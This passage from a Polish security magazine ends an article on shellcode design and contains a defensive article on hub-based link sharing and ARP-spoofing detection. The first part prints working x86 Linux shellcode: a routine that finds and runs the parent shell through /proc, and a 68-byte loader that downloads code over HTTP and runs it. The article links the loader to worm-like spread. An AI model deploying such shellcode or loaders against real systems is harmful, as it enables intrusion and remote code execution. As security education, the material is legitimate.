go  producenta  niż  się  spodziewali-
śmy  (np.  AMD)  to  w  wyniku  otrzy-
mamy  bezużyteczne  asemblerowe 

Listing 15b. 

Sprawdzanie w czasie wykonania, która powłoka jest 

dostępna

    

movb

 

%

dl

(%

esp

)

    

testl

 

%

eax

%

eax

    

jnz

 

_convert

    

cdq

    #
    # Uruchom [/proc/

<pid>

/exe]

    #
    

popl

 

%

ebx

    

pushl

 

%

edx

    

pushl

 $

0x6578652f

    

pushl

 

%

ebx

    

pushl

 $

0x2f636f72

    

pushl

 $

0x702f2f2f

    

movb

 $

0xb

%

al

    

movl

 

%

esp

%

ebx

    

pushl

 

%

edx

    

pushl

 

%

ebx

    

movl

 

%

esp

%

ecx

    

int

 $

0x80

Listing 16. 

Wpis domyślny

#
    # Kto jest twoim rodzicem?
    #
    

push

 $

0x40

    

popl

 

%

eax

    

int

 $

0x80

Listing 17. 

Przekształcenie funkcji getppid() do postaci ASCI

#
    # Zamień INT na ASCII
    #
    

_convert

:

    

decl

 

%

esp

    

cdq

    

pushl

 $

0xa

    

popl

 

%

ebx

    

divl

 

%

ebx

    

addb

 $

0x30

%

dl

    

movb

 

%

dl

(%

esp

)

    

testl

 

%

eax

%

eax

    

jnz

 

_convert

    

cdq

Listing 18. 

Wywołanie systemowe execve()

#
    # Uruchom [/proc/

<pid>

/exe]

    #
    

popl

 

%

ebx

    

pushl

 

%

edx

    

pushl

 $

0x6578652f

    

pushl

 

%

ebx

    

pushl

 $

0x2f636f72

    

pushl

 $

0x702f2f2f

    

movb

 $

0xb

%

al

    

movl

 

%

esp

%

ebx

    

pushl

 

%

edx

    

pushl

 

%

ebx

    

movl

 

%

esp

%

ecx

    

int

 $

0x80

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

34

śmieci, które przy próbie wykonania
najprawdopodobniej  spowodują  po-
wstanie wyjątku (Listing 14).

Po  zakończeniu  deszyfrowania 

pozostaje wykonać skok do docelowej 
sekcji kodu powłoki. To czy we wspo-
mnianej  sekcji  znajdują  się  właściwe 
instrukcje  zależy  od  tego  czy  trafili-
śmy  na  właściwą  nazwę  producenta 
procesora. W każdym innym przypad-
ku  wywołanie  wynikowego  kodu  za-
kończy się powstaniem wyjątku.

Rozwiązania  bazujące  na  przed-

stawionej  koncepcji  można  oczywi-
ście  modyfikować,  na  przykład  wy-
korzystując  inną  nazwę  producenta 
(chociażby AMD).

Ewolucja kontra 

kustomizacja

Jak  dotąd  dyskutowane  prze-
szkody  pojawiające  się  na  drodze
kodów  powłoki  były  związane
z  występowaniem  takich  mecha-
nizmów  ochronnych  jak  NIDS  czy 
IPS.  Jednakże  w  wielu  przypadkach 
–  szczególnie  w  kontekście  ataków 
skierowanych  przeciwko  rozbudo-
wanym  organizacjom,  pojawiają  się 
problemy  wynikające  z  właściwo-
ści  atakowanego  systemu.  Na  przy-
kład,  jednym  z  podstawowych  błę-
dów przy projektowaniu kodów powło-
ki  jest  wstawianie  wartości  ustawio-
nych na stałe – odnosi się to przede 
wszystkim do napisu /bin/sh. Problem
w tym, że wcale nie ma gwarancji, że 
program  sh  znajduje  się  w  katalogu 

bin; co więcej – katalog bin wcale nie 
musi istnieć w atakowanym systemie. 
Oczywiście w większości przypadków 
(powiedzmy, że około 80%) atak za-
pewne  się  powiedzie,  jednakże  dla 
pozostałych  20%  wywołanie  syste-
mowej funkcji 

execuve()

 zakończy się 

niepowodzeniem  mimo  tego,  że  kod 
powłoki udało się uruchomić. W rze-
czywistości kustomizacja jest czynni-
kiem, który należy na poważnie wziąć 
pod uwagę przy projektowaniu kodów 
powłoki. Praktyka ta jest powszechnie 
stosowana zarówno wśród systemów 
z rodziny Linux jak i BSD i wynika z 
dużej  różnorodności  dystrybucji  oraz 
łatwości  w  dopasowywaniu  struktury 
systemu, dzięki której administratorzy 
oraz zaawansowani użytkownicy są w 

stanie w pełni dopasować ją w odnie-
sieniu do własnych potrzeb i preferen-
cji. Zjawisko kustomizacji jest również 
prawie zawsze spotykane w przypad-
ku systemów osadzonych oraz dedy-
kowanych.

Podążam za rodzicem!

Sprawdzanie  w  czasie  wykonania, 
która  powłoka  jest  dostępna,  da-
je kodowi powłoki szansę na obej-
ście problemu związanego z kusto-
mizacją. Jednym ze sposobów, któ-
re  można  w  tym  celu  wykorzystać
(w  odniesieniu  do  systemu  Linux) 
jest  przeglądanie  hierarchii  proce-
sów.  Jeśli  przyjrzymy  się  bliżej  tej 
hierarchii  to  zauważymy  pewną 
prawidłowość  –  otóż  dla  zakresów 
głębokości  od  0  do  3  proces  ma-
cierzysty  jest  zazwyczaj  powłoką.
Jedynym  wyjątkiem  odnośnie  tej 
reguły  jest  proces  initd,  który  uru-
chamia samo jądro.

Do sprawdzenia kto jest rodzicem 

kodu powłoki wystarczy proste wywo-
łanie 

getppid()

, które zwróci identyfi-

kator PID jego procesu macierzyste-
go. Identyfikator ten jest kluczem, któ-
rego kod powłoki użyje później w ce-
lu zbadania wpisu /proc powiązanego 
ze swoim rodzicem. Wpis ten zwiera 
informacje na temat ścieżki pliku wy-
konywalnego  oraz  argumentów  wy-
wołania przekazanych przy jego uru-
chomieniu.  Domyślnie  wpis  ten  jest 
dostępny  dla  każdego  procesu  (Li-
sting 16).

Funkcja 

getppid()

  zwraca  war-

tość będącą liczbą całkowitą (ang. 

integer).  Do  naszych  celów  war-
tość tę trzeba będzie przekształcić 
do  postaci  ASCI.  Potrzeba  ta  wy-
nika z faktu, iż zwrócony PID misi 
być  wstawiony  do  napisu  określa-
jącego  ścieżkę  (np.  /proc/<pid>/

exe).  Ścieżka  ta  określa  plik  wy-
konywalny  macierzystego  proce-
su  (Listing  17.).  Mając  wartość 

getppid()

  w  postaci  ASCII  pozo-

staje  jedynie  przekazać  ją  do  wy-
wołania systemowego 

execve()

.

W  rezultacie  otrzymaliśmy  dość 

uogólniony program do uruchamiania 
powłoki, gdzie jedyną zabitą na stałe 
wartością jest napis /proc, który w naj-
bliższym czasie raczej się nie zmieni.

Listing 19. 

Przykładowy loader

    #
    # (x86/linux) HTTP/1.x GET, 

Pobieranie

 

i

 

wywo

ł

ywanie

 

operacji

 

JMP

 

-

 

68

+

 

bajt

ó

w

    # - izik@tty64.org
    #
    
    .

section

 .

text

    .

global

 

_start

    

_start

:

    
    

push

 $

0x66

    

popl

 

%

eax

    

cdq

    

pushl

 $

0x1

    

popl

 

%

ebx

    

pushl

 

%

edx

    

pushl

 

%

ebx

    

pushl

 $

0x2

    

movl

 

%

esp

%

ecx

    

int

 $

0x80

    

popl

 

%

ebx

    

popl

 

%

ebp

    

movl

 $

0xfeffff80

%

esi

    

movw

 $

0x1f91

%

bp

    #
    # nie %bp, dla numerów portów 

< 256

    #
    

notl

 

%

esi

    

pushl

 

%

esi

    

bswap

 

%

ebp

    

orl

 

%

ebx

%

ebp

    

pushl

 

%

ebp

    

incl

 

%

ebx

    

pushl

 $

0x10

    

pushl

 

%

ecx

    

pushl

 

%

eax

    

movb

 $

0x66

%

al

    

movl

 

%

esp

%

ecx

    

int

 $

0x80

    

_gen_http_request

:

    #
    # < wykorzystaj gen_httpreq.c,
     w celu wygenerowania 
     żądania HTTP GET. 

>

    #
    

_gen_http_eof

:

    

movl

 

%

esp

%

ecx

    

_send_http_request

:

    

movb

 $

0x4

%

al

    

int

 $

0x80

        
    

_recv_http_request

:

    

movb

 $

0x3

%

al

    

pushl

 $

0x1

    

popl

 

%

edx

    

int

 $

0x80

    

incl

 

%

ecx

    

testl

 

%

eax

%

eax

    

jnz

 

_recv_http_request

    

_jmp_to_code

:

    

subl

 $

0x6

%

ecx

    

jmp

 

*%

ecx

background image

Jeszcze  jedną  kwestią  nad

którą  warto  się  zastanowić  to  pro-
blem  pojedynczo  i  wielowątkowych
demonów. Aby zastosować omawia-
ną  metodę  dla  procesów  powsta-
łych  na  bazie 

fork()

-owania  należa-

łoby  zastosować  rekurencyjną  pro-
cedurę  przetwarzania  drzewa  rodzi-
ców.  W  przypadku  demonów  jedno-
wątkowych potrzeba taka nie wystę-
puje. Kod powłoki pokazany powyżej 
odnosi się właśnie do demonów jed-
nowątkowych.

Ewolucja kontra 

Ograniczenia

Różne  scenariusze  ataku  narzucają 
różne  ograniczenia:  na  przykład  po-
szczególne  protokoły  operują  na  bu-
forach  o  różnej  długości  itd.  Z  tego 
względu  kody  powłoki  powinny  mieć 
możliwość  dopasowania  się  do  ota-
czającego  je  aktualnie  środowiska. 
Najbardziej  popularne  ograniczenie 
związane jest z limitem wielkości ko-
du.  Istnieje  oczywista  korelacja  po-
między  poziomem  funkcjonalności 
kodu powłoki a jego wielkością. Z lo-
gicznego punktu widzenia, im bardziej 
złożona jest wspomniana funkcjonal-
ność, tym więcej będzie potrzeba ko-
dów operacji w celu jej zaimplemen-
towania.  Aby  móc  budować  bardziej 
sprytne  i  zaawansowane  rozwiąza-
nia problem wielkości musi być prze-
zwyciężony. W innym przypadku nasz 
super-inteligentny kod powłoki będzie 
odrzucony na poziomie protokołu i ca-
ła nasza praca pójdzie na marne. 

Podział na fazy

Dzielenie każdej logicznej operacji na 
mniejsze  zadania  pozwala  tworzyć 
potoki. Ta ogólna zasada działa rów-
nie  dobrze  w  odniesieniu  do  kodów 
powłoki. Jeśli kod taki nie może prze-
prowadzić  pełnego  ataku  jednorazo-
wo, to powinien być pobrany przez in-
ny, mniejszy kod powłoki. W tej sytu-
acji, zamiast budowania jednego kodu
powłoki,  który  robi  wszystko  na-
raz,  warto  podzielić  funkcjonalność 
na  główną  logikę  oraz  jej  wczyty-
wanie.  Za  wczytywanie  będzie  od-
powiadał  mniejszy  kod  powłoki
którego podstawowym zadaniem bę-
dzie uruchomienie kodu docelowego. 

Mając  taki  zewnętrzny  loader  może-
my wczytywać większe i bardziej za-
awansowane  kody  powłoki  nie  mar-
twiąc się o ich rozmiar.

Listing  19  przedstawia  przy-

kładowy  loader.  Potrafi  on  pobrać
binarny kod powłoki z zadanego URL 
a  następnie  wpisać  go  do  bufora
i wykonać do niego skok. Po skróce-
niu  kod  loadera  zajmuje  jedynie  68 
bajtów, aczkolwiek mimo to potrafi ko-
munikować się z dowolnym serwerem 
HTTP działającym na bazie protoko-
łów HTTP/1.0 oraz HTTP/1.1. Pobra-
ny kod jest dla odmiany wolny od ja-
kichkolwiek  limitów  (na  przykład  dłu-
gości czy zakazu występowania zna-
ku 

NULL

). Oczywiście sam loader tym 

limitom nadal podlega.

Prezentowane  podejście  mo-

że  być  bardzo  przydatne  przy  au-
tomatyzacji  testów  penetracyjnych. 
Dla  przykładu,  można  by  się  po-
kusić  o  niewielki  serwer,  który  bę-
dzie  wychwytywał  potwierdzenia  o 
udanych  włamaniach  do  systemów 
na  zasadzie  obserwowania  żądań
wysyłanych  przez  loader.  Po  wpro-
wadzeniu  kilku  modyfikacji  loader 
mógłby zbierać i wysyłać informacje 
identyfikacyjne  na  temat  atakowa-
nego  systemu  dzięki  czemu  serwer 
mógłby wybrać i odesłać kod powło-
ki najbardziej adekwatny do zadanej 
konfiguracji.  Rozwijając  tę  koncep-
cję  można  by  również  zaimplemen-
tować  samo-rozprzestrzeniającego 
się robaka.

W  przypadku  tego  konkretne-

go  kodu  powłoki  zastosowałem  na-
rzędzie  zwane  gen_httpreq.c,  które 
pozwala łatwo wygenerować na ba-
zie zadanego URL napis zawierają-
cy żądanie HTTP.

Podsumowanie

W  powyższym  tekście  pokaza-
łem  pewne  czynniki  oraz  przeszko-
dy  wpływające  na  strukturę  i  spo-
sób działania kodów powłoki. Niejako
z definicji temat nie został wyczerpa-
ny, jako że kody powłoki to technolo-
gia ciągle ewoluująca. Cel tej ewolucji 
jest za to niezmienny: przeprowadzać 
udane ataki bez bycia zauważonym.  

http://www.tty64.org/code/shellcodes/ 
archiwum źródeł kodów powłoki 

l

www.hakin9.org

background image

www.hakin9.org

hakin9 Nr 1/2007

36

Obrona

nie  można  jeszcze  prościej?  Jakiś 
czas  temu  opublikowaliśmy  w  „Ha-

kin9u” sążnisty artykuł na temat de-

tekcji nielegalnego podziału łącza interneto-
wego (Mariusz Tomaszewski, Maciej Szmit, 
Marek Gusta, „Sprzątanie pajęczyn – detek-
cja nielegalnego współdzielenia łącza”, „Ha-
kin9” nr 2/2005 str. 10-18, dostępny w wersji 
on line http://www.haking.pl/pl/attachments/

lacze_pl.pdf).  Konkluzja  była  mniej  więcej 
taka, że „pajęczarze” posługują się rozwią-
zaniami  III  warstwy  modelu  ISO/OSI  (NAT 
ze  wszystkimi  jego  odmianami)  i  znacznie 
trudniejszymi do wykrycia proxy (IV warstwy 
– tzw. pośrednikami obwodowymi i VII war-
stwy – proxy aplikacyjnymi). Ale jak się oka-
zuje,  można  jeszcze  prościej.  Wystarczy, 
że zdolny użytkownik nada po prostu dwóm 
komputerom  ten  sam  adres  MAC  i  ten  sam 
adres IP, a następnie podepnie je do huba, 
który  z  kolei  podłączy  do  swojego  „wyjścia 
na świat” (Rysunek 1).

Oczywiście  –  jeśli  komputery  pracować 

będą  pod  kontrolą  ulubianego  (przez  wie-
lu) systemu operacyjnego – pojawiły się ko-
munikaty  o  zduplikowanym  adresie  IP.  Ko-
munikaty  te  biorą  się  stąd,  że  Windows  w 

momencie  uruchomienia  interfejsu  siecio-
wego  (a  dokładniej  –  nadania  mu  numeru 
IP) sprawdza za pomocą kilku zapytań ARP-
request o własny adres, czy w Sieci nie ma 
innego  komputera  o  tym  samym  IP.  Zapy-
tania  te  zdolny  użytkownik  może  usunąć 
ustawiając w rejestrze wartość klucza: 

HKLM\

SYSTEM\CurrentControlSet\Services\Tcpip\
Parameters\ArpReplyCount na zero

Huby w pajęczynach

i złośliwe m-routery

Maciej Szmit
Mariusz Tomaszewski

stopień trudności

Im dłużej zajmujemy się komputerami tym mocniej wierzymy 

w krasnoludki, Babę Jagę oraz liczne mniej lub (częściej) 

bardziej złośliwe chochliki. Właściwie nawet nie nie tak: nie tylko 

wierzymy, ale poznajemy ich zwyczaje, sympatie i antypatie,

a czasami nawet okoliczności, w jakich przychodzą na świat.

No bo wyobraźcie sobie tylko...

Z artrykułu dowiesz się...

•   o dość nietypowej metodzie współdzielenia łą-

cza internetowego,

•   o problemach z wykrywaniem ARP-spoofingu, 

które może spowodować,

•   nietypowa konfiguracja linuksa,
•   o nietypowej obsłudze ramek grupowych przez 

niektóre urządzenia sieciowe.

Powinieneś wiedzieć...

•   co to jest ARP-spoofing,
•   do czego służy protokół ICMP,
•   czym się różni switch od huba.

background image

Huby w pajęczynach i złośliwe m-routery

hakin9 Nr 1/2007

www.hakin9.org

37

W  konsekwencji  komunikaty

o  zduplikowanym  adresie  przesta-
ną się pojawiać.

Ponadto  na  obydwu  maszynach 

trzeba  uruchomić  personalne  fire-
walle  (my  wykorzystaliśmy  do  tego 
celu program ZoneAlarm) po to, aby 
ustawić porty w nieznany z RFC stan 
stealth (port ukryty). Te zabiegi przy-
niosą  oczekiwany  skutek  –  na  obu 
komputerach  można  spokojnie  sur-
fować sobie po Internecie, a że infor-
macja  wysyłana  do  jednego  trafiała 
również do drugiego? No cóż – taka 
już przecież jest natura huba ;)

Spróbujmy  prześledzić  to  roz-

wiązanie nieco poważniej – segmen-
ty TCP generowane przez pierwszy 
komputer (dajmy na to segment na-
wiązania  połączenia  TCP  SYN) 
–  trafiały  oczywiście  do  adresata, 
który  wysyłał  w  odpowiedzi  swoją 
odpowiedź (dajmy na to SYN+ACK) 
pod  adres  naszego  komputera. 
Oczywiście  odpowiedź  ta  trafiała 
do  obu  maszyn,  przy  czym  druga 
z  nich  powinna  (zakładając,  że  nie 
trafi się nieprawdopodobna sytuacja 
„trafienia” w otwarty port, z którego 
komputer  właśnie  wysłał  segment 
SYN do tego samego serwera i na 
dodatek  opatrzony  takim  samym 
numerem  sekwencyjnym)  oczy-
wiście  odpowiedzieć  RST.  Powin-

na, ale nie odpowie, bowiem osobi-
sta ściana przeciwogniowa ustawia 
port w stan stealth, a więc TCP RST 
w ogóle się nie pojawi. A prawdziwy 
nadawca  będzie  sobie  mógł  serfo-
wać do woli. 

Co  więcej  można  w  ten  spo-

sób  udostępnić  nawet  usługi  ser-
werowe  (byle  porty,  które  odpo-
wiadają  za  usługi  na  jednym  kom-
puterze  były  na  drugim  ukryte).
Mówiąc  obrazowo,  mamy  tu  do 
czynienia z „wirtualnym pocięciem” 
jednego komputera na dwa – ot taki 
Destination NAT, tylko że bez NATa
Oczywiście  całe  to  rozwiązanie 

działać będzie wyłącznie na hubie, 
bowiem każdy współczesny switch 
będzie wysyłał ramki na jeden i tyl-
ko ze swoich portów.

Z butami 

(dwoma) do Sieci

Zdawałoby  się,  że  o  ARP-spoofin-
gu  i  jego  wykrywaniu  wiadomo  już 
wszystko  (komu  nie  wiadomo  powi-
nien  sięgnąć  do  archiwalnego  tek-
stu  Marek  Gusta,  Maciej  Szmit, 
„Sniffing  w  ethernecie  z  przełączni-
kami”,  „Haking”  nr  2/2003,  str.  6-9
albo  przynajmniej  przeczytać  do-
stępny on line tekst Daniel Kaczorow-

Tabela 1. 

Dokładnie rzecz biorąc w zależności od systemu operacyjnego wyglądało to będzie następująco

ICMP „crossping”

ARP-request

Debian GNU/Linux Sarge 
kernel 2.6.12:1k7

odpowiedź ICMP-reply będzie odsy-
łana  zawsze  spod  jednego  adresu
fizycznego (tej z kart sieciowych, któ-
ra zostanie podniesiona wcześniej)

odpowiedź ARP-reply będzie odsyłana zawsze 
spod jednego adresu fizycznego (tej z kart sie-
ciowych, która zostanie podniesiona wcześniej), 
ale już dla żądania ICMP echo request będzie 
można używać dowolnej pary IP/MAC (z tym, że 
odpowiedź przyjdzie zawsze z jednej karty)

Windows Vista Beta 2

Nie będzie odpowiedzi

Prawidłowe  odwzorowania  (IP  pierwszej  karty 
MAC pierwszej karty, IP drugiej karty MAC dru-
giej karty)

Windows XP
(bez Service Packów)

ICMP-reply będą odesłane spod do-
brych  adresów  (IP  pierwszej  karty 
MAC  pierwszej  karty,  IP  drugiej  kar-
ty MAC drugiej karty)

Prawidłowe  odwzorowania  (IP  pierwszej  kar-
ty MAC pierwszej karty, IP  drugiej karty MAC 
drugiej karty)

Knoppix STD 0.1 
kernel 2.4.21

odpowiedź  ICMP-reply  będzie  odsy-
łana  zawsze  spod  jednego  adresu
fizycznego (tej z kart sieciowych, któ-
ra zostanie podniesiona wcześniej)

dwie odpowiedzi (dwa adresy MACs dla jedne-
go adresu IP) – możliwe fałszywe odwzorowa-
nie w tablicy ARP-cache u klienta

Rysunek 1. 

Schemat sieci współdzielenia łącza przez dwa komputery

Host A

IP: 192.168.0.2

MAC: 00:00 06:07:08:09

Hub

Router

Host A

IP: 192.168.0.2

MAC: 00:00 06:07:08:09

Internet

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

38

ski,  Maciej  Szmit,  „Zdalna  detekcja
snifferów w Sieci switching ethernet” 

http://m-szmit.republika.pl/Kaczoro-

wskiiszmit.pdf).  Programy  używane
przez  podsłuchujących  (arpspoof
w  linuxie  czy  WinArpspooofer  w 

Windows)  zalewają  ofiarę  fałszy-
wymi  odwzorowaniami  ARP-reply,
które  modyfikują  jej  tablicę  ARP
cache  tak  że  zamiast  pod  prawdzi-
wy  adres  fizyczny,  przesyła  swo-
je  dane  pod  adres  wskazany  przez 
napastnika.  Obrona  też  wygląda-
ła  prosto  –  wstarczy  wysłać  zapy-
tanie  ARP  request  i  policzyć  przy-
chodzące  odpowiedzi  (zakładając, 
że  napastnik  nie  wyeliminował  ma-
szyny,  pod  którą  się  podszywa  np 
za pomocą ataku DoS), ewentualnie
uruchomić  arpwatch,  który  będzie 
śledził zmiany odzoworwań MAC/IP 
i  w  razie  czego  przyśle  nam  alar-

mującą  wiadomość.  I  owszem  to 
wszystko będzie działało, przynajm-
niej  dopóki  zdolny  administrator  nie 
wpadnie  na  pomysł  zainstalowania 
w serwerze zapasowej karty (lub co
gorsza kilku) podpiętej do tej samej 
Sieci (fizycznej i logicznej, to jest uży-
wającej adresów IP z tej samej Sieci). 
Podówczas z odwzorowaniami ARP 
(i nie tylko) zaczną się dziać dziwne 
rzeczy.  Jeśli  jeszcze  użyjemy  kom-
putera  z  systemem  Linux,  to  może
okazać się, że będziemy mieli po kil-
ka odwzorowań tego samego IP na 
różne adresy MAC. Jeżeli będziemy 
mieli do czynienia z sytuacją jak na 
Rysunku 2 i zdecydujemy się na wy-
słanie np. żądania ICMP echo-requ-
est na IP pierwszej karty (ale umie-
ściwszy  je  w  ramce  zaadresowanej 
adresem fizycznym drugiej karty) to 
rezultaty mogą nas zaskoczyć.

Zatem w przypadku linuxa z ją-

drem 2.4 programy takie jak ARP-
analyzer podniosą fałszywy alarm. 
Jeśli  spodziewamy  się  znaleźc  w 
siecie tego typu zjawisko powinni-
śmy użyć kolejnej wersji programu 
WinAntiSniffer wzbogaconej o wy-
krywanie  ARP-spoofingu  (może-
cie ją oczywiście znaleźć na krąż-
ku  dołączonym  do  pisma).  Wyko-
rzystuje  ona  fakt,  że  w  przypad-
ku  podsłuchu  ARP-spoofing  na 
pewno nie dostaniemy odpowiedzi 
ICMP  echo-reply  na  zestaw  MAC 
ofiary/IP pirata (a dostaniemy taką 
odpowiedź w przypadku serwea z 
dwoma  kartami).  No  chyba,  żeby-
śmy  mieli  do  czynienia  z  dwoma 
piratami,  którzy  podszywają  się 
pod  siebie  wzajemnie.  Rozważa-
nia,  jak  wygladać  może  sytuacja 
przy większej liczbie piratów pozo-
stawiamy  dla  Czytelników  o  moc-
nych  nerwach  (przypominając,  że 
liczba dwuelementowych podzbio-
rów zbioru n-elementowego rośnie 
z kwadratem n).

Dla  lubiących  proste  rozwią-

zania:  istnieją  jeszcze  dwa  inne
sposoby wykrywania ARP-spoofin-
gu,  o  których  nie  wszyscy  muszą 
wiedzieć.  Po  pierwsze  wystarczy
uruchomić polecenie traceroute na 
adres,  co  do  którego  mamy  wąt-

Rysunek 3. 

Konwersja ruchu multicast na unicast wykonywana przez router

Switch

pakiet C

pakiet A i B

pakiet D i E

pakiet A i B

pakiet A i B

pakiet A i B

pakiet D

pakiet G

pakiet E

pakiet F

Host B

IP: 192.168.134.2

MAC: 00:00:01:02:03:04

Uruchomiony sniffer

KROK 2 (pakiet C):

Odpowiedź ICMP na pakiet

A (ze względu na sniffer)

KROK 5 (pakiet G):

Na pakiet D (unicast) host

udziela odpowiedzi ICMP.

Router

IP: 192.168.134.254

KROK 3 (pakiet D i E):

W wyniku odebrania pakietu A

i B router generuje 2 pakiety

ICMP unicast (docelowy adres

MAC unicast i doselowy adres

IP unicast)

pakiet D:

MAC - 00:00:01:02:03:04

IP - 192.168.134.2

pakiet E:

MAC - 00:00:01:02:03:05

IP - 192.168.134.3

Host C

IP: 192.168.134.2

MAC: 00:00:01:02:03:05

Barak sniffera

KROK 4 (pakiet F):

Na pakiet E (unicast) host

udziela odpowiedzi ICMP.

Host A

IP: 192.168.134.1

KROK 1 (pakiet A i B):

Wysyłany pakiet ICMP multicast

(docelowy adres MAC multicast i

docelowy adres IP unicast

pakiet A:

MAC - FF:FF:FF:FF:FF:FF

IP - 192.168.134.3

Rysunek 2. 

Serwer z zainstalowanymi dwiema kartami sieciowymi 

pracującymi w jednej sieci logicznej LAN

Klient

IP: 192.68.0.3

IP: 192.68.0.1

IP: 192.68.0.1

Switch

Serwer z dwoma

interfejsami

background image
background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

40

pliwości (najczęściej będzie to ad-
res naszej bramy) – jeśli okaże się, 
że  po  drodze  między  nami  a  do-
myślną  bramą  jest  jeszcze  jakieś 
IP  to  zdecydowanie  mamy  powód 
do  zmartwienia.  Oczywiście  ata-
kujący  może  spróbować  się  przed 
tym  zabezpieczyć  (na  przykład  za
pomocą  reguły  podnoszącej  TTL
w  forwardowanych  pakietach,  ale 
do tego trzeba już trochę się napra-
cować, w każdym razie na „gołego”
arpspoofa  i  WinARPSpoofera  ten 
sposób wystarczy). 

Warto też zainteresować się pa-

kietami  ICMP  redirect.  Ich  obec-
ność w Sieci może może nam zasu-
gerować, że oburzony system ope-
racyjny  pirata  (powiedzmy:  począt-
kującego pirata, który nie zabezpie-
czył się przed tym zjawiskiem) wy-
syła ofierze informacje „ja przecież 
nie jestem routerem”. Niestety zale-
wanej  pakietami  ARP  reply  ofierze 
wiele  to  nie  pomoże,  chyba  że  za-
lew  komunikatów  ICMP  da  admini-
stratorowi do myślenia. I znowu: wy-
kwalifikowany  pirat  powinien,  ale 
przecież nie będziemy ułatwiać ży-
cia piratom.

W  każdym  razie  uważajcie  na 

zwiększony  ruch  ICMP  redirect 
(tym  bardziej,  że  może  on  świad-
czyć o jeszcze jednej metodzie ata-
ku, zwanej ICMP-redirect spoofing, 
ale o tym już innym razem).

Problemy grupowe

Dla  administratora  wizja  kilku  pira-
tów w Sieci (jego Sieci!) podsłuchu-
jących się wzajemnie wydaje się być 
rodem z koszmarnego snu. Nic dziw-
nego,  że  kiedy  zdarzyło  się  nam
zobaczyć  coś  podobnego  nie  mo-
gliśmy  uwierzyć  własnym  oczom. 

Rysunek 4. 

Pakiety przechwycone na hoście A (z uruchomionym WinAntiSnifferem) w przypadku badania hosta C

Rysunek 5. 

Pakiety przechwycone na hoście A (z uruchomionym AntiSnifferem) w przypadku badania hosta B

Jak  się  okazało,  całkiem  słusznie. 
Pamiętacie  testy  odpowiedzi  służą-
ce do wykrywania klasycznych snif-
ferów?  Jeśli  nie  pamiętacie,  to  zaj-
rzyjcie  do  archiwalnych  numerów 

Hakin9u,  żeby  przeczytać  na  przy-
kład  artykuł  Maciej  Szmit,  Mariusz 
Tomaszewski,  Marek  Gusta,  „Snif-
fing  dla  początkujących”,  „Software 
2.0 Extra”, Nr 5/2003 str. 18-25, albo 
–  jeśli  wolicie  skorzystać  z  Interne-
tu – to poczytajcie dokument  http://

m-szmit.repulika.pl/sis2002.pdf.

Testy,  o  których  mowa  spro-

wadzają  się  do  przesłania  do  po-
dejrzanego  komputera  odpowied-
nio  spreparowanej  ramki  (z  błę-
dym  adresem  docelowym  MAC), 
w  której  umieszczony  jest  pakiet 
zawierający  żądanie  odpowiedzi 
(ARP Request lub ICMP Echo Re-
quest)  zaadresowany  adresem  IP 
podejrzanego komputera. Z uwagi 
na zaimplementowanie we wszyst-
kich  systemach  operacyjnych  wir-
tualne filtry pakietów (no – prawie 
we  wszystkich,  w  Windows  Vista
Beta 2 o takich nie słyszeli) jedyny-
mi  adresami  MAC  odbiorcy  mogą 
być niektóre z adresów multicasto-
wych (mowa o multicastach ether-
netowych,  czyli  adresach  MAC,
w  których  najmniej  znaczacy  bit 
najbardziej  znaczacego  bajtu  jest 
jedynką). 

W  przypadku  Sieci  wykorzy-

stującej  koncentratory  i  „zwykłe”
routery  (na  przykład  komputery
z  dwiema  kartami  sieciowymi  pra-
cujące  pod  kontrolą  systemu  ope-
racyjnego NetWare albo Linux, czy 
też  routery  firmy  CISCO)  dziala-
nie  testów  jest  zgodne  z  oczeki-
waniem.  Jakież  jednak  było  na-
sze zdumienie, kiedy w w sieciach

wykorzystujących  tanie  routery
(a  właściwie  router-switche)  firm
D-Link oraz Lucent wszystkie kom-
putery  zaczęły  nagle  odpowia-
dać  na  testy  wykrywajace  sniffe-
ry. Okazało się, że winne są urzą-
dzenia,  których  działanie  w  zakre-
sie  obsługi  multicastów  jest  dość 
niestandardowe.  Mianowicie  przyj-
mują  one,  że  w  przypadku  otrzy-
mania  ramki  zaadresowanej  gru-
powym  adresem  MAC,  należy  jej
zawartość przesłać dalej jako ram-
kę  unicastową,  przy  czym  adres 
odbiorcy  ramki  jest  adresem  MAC 
komputera, którego IP zawarte było
w pakiecie niesionym przez ramkę.

W  przypadku  wysłania  multi-

castowej  ramki  zawierającej  bro-
adcastowy  pakiet  (a  tak  działają
testy odpowiedzi) urządzenie prze-
śle  do  Sieci  broadcastową  ramkę
z  broadcastowym  pakietem.  Me-
chanizm ten występuje w przypad-
ku,  gdy  przesyłany  jest  pakiet  IP
i  wyłącznie  wtedy,  gdy  multica-
stowy  MAC  jest  z  zakresu 

FF:FF:

F F:F F:F F:00-F F:F F:F F:F F:F F:F E

 

(przynajmniej  w  przypadku  testo-
wych przez nas urządzeń D-Link). 
Jest to zachowanie zbliżone nieco 
do  zachowania  m-routera  (route-
ra  obsługującego  multicasty),  ale 
zdecydowanie mniej doskonałe. 

Konsekwencją jego jest – w przy-

padku testów odpowiedzi – fałszywe 
wykrycie  (ang.  false  positive)  snif-
ferów  na  wszystkich  sprawdzanych 
komputerach  w  segmencie  (kom-
putery  otrzymuja  pytanie  w  ramce
zaadresowanej  prawidłowym  –  uni-
castowym  adresem  MAC,  na  które 
oczywiście  odpowiadają).  Dokład-
niej  –  w  segmencie  pojawiają  się 
dwa pytania – jedno w ramce multi-

background image

Huby w pajęczynach i złośliwe m-routery

hakin9 Nr 1/2007

www.hakin9.org

41

castowej  (na  które  odpowiadają  tyl-
ko  komputery  z  interfejsem  pracu-
jącym  w  trybie  promiscuous  –  o  ile 
oczywiście są wrażliwe na ten rodzaj 
testu) – oraz drugie (w ramce unica-
stowej). 

Ramka  unicastowa  będzie  za-

adresowana  fizycznym  adresem 
MAC  interfejsu  komputera,  którego 
adres IP był umieszczony w ramce 
multicastowej. Zatem na ramkę uni-
castową odpowie określony kompu-
ter  nawet  jeśli  nie  pracuje  w  trybie 
promiscuous (Rysunek 3).

Co  gorsza,  jeśli  w  Sieci  jest  wię-

cej  niż  jedno  tego  typu  urządzenie
(a  w  przeciwieństwie  do  stad  pira-
tów, to się zdarza się i to nawet dość
często  w  przypadku  podziału  Sie-
ci  wewnętrznej  na  kilka  podsieci
–  konfiguracja  stosowana  nagminnie 
w  sieciach  akademickich  podzielo-
nych na pracownie studenckie) – licz-
